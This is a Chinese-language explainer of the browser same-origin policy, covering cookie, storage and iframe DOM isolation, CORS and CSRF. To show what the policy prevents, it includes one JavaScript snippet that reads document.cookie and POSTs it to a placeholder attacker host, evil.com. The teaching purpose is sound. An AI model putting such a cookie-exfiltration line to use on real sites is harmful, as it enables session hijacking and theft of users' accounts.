同源策略

670 阅读2分钟

同源策略是浏览器最核心的安全机制之一,用于限制不同源的网页脚本互相访问数据,它的核心是防止恶意网站窃取用户数据(如Cookie,LocalStorage)

一. 是如何实现防止恶意网站窃取用户数据的

1. 禁止跨域读取敏感数据

(1)cookie隔离

  • 问题场景:

    用户登录 https://bank.com 后,浏览器存储了该域的 Cookie。 如果恶意网站 https://evil.com 能随意读取 bank.com 的 Cookie,就能伪造用户身份。

  • 没有同源策略怎么实现上述场景 ?

    直接读取cookie

    攻击方式:JS访问document.cookie

    如果同源策略不存在,恶意网站的JS可以直接读取bank.com的Cookie javascript

// 假设用户在 bank.com 登录,Cookie 存在
const bankCookies = document.cookie; // 直接获取所有 Cookie
fetch("https://evil.com/steal", { 
  method: "POST", 
  body: JSON.stringify({ cookies: bankCookies }) 
});
  • 同源策略的防护
    • evil.com 的 JavaScript 无法读取 bank.com 的 Cookie。
    • 浏览器仅在向 bank.com 发请求时自动携带它的 Cookie(需符合 Cookie 的 SameSite 规则)。

(2)LocalStorage/SessionStorage 隔离

  • 问题场景: bank.com 在 LocalStorage 中存储了用户令牌(Token)。
  • 同源策略的防护 evil.com 的脚本无法访问 bank.com 的 Storage,否则能直接窃取令牌。

2、禁止跨域操作DOM

  • 问题场景 恶意网站evil.com内嵌bank.com的iframe,食入篡改登陆表单或窃取输入内容
  • 同源策略的防护
    • evil.com 的 JavaScript 无法访问 iframe.contentDocument(跨域 iframe 的 DOM)。
    • 除非双方显式通过 postMessage 通信(需严格验证 origin)。

3、限制跨域网络请求

(1)AJAX/Fetch 请求拦截

  • 问题场景
    evil.com 偷偷向 bank.com/api/transfer 发起 POST 请求转账(利用用户已登录的 Cookie)。

  • 同源策略的防护

    • 默认禁止跨域 AJAX 请求(除非目标服务器通过 CORS 显式允许)。
    • 服务器可通过检查 Origin 头拒绝恶意请求。

(2)CSRF 攻击缓解

  • 虽然同源策略不能完全阻止 CSRF(跨站请求伪造),但结合 SameSite Cookie 和 CSRF Token 可增强防护。

4、为什么这些限制可以生效?

(1)浏览器沙箱化执行环境

  • 每个源的 JavaScript 运行在独立的“沙箱”中,无法直接访问其他源的内存或 DOM。

(2)请求的 Origin 头强制校验

  • 浏览器自动在所有跨域请求中添加 Origin: https://evil.com,服务器可据此拒绝请求。

(3)安全默认原则(Secure by Default)

  • 默认禁止 所有跨域敏感操作,只有显式声明(如 CORS、postMessage)才允许。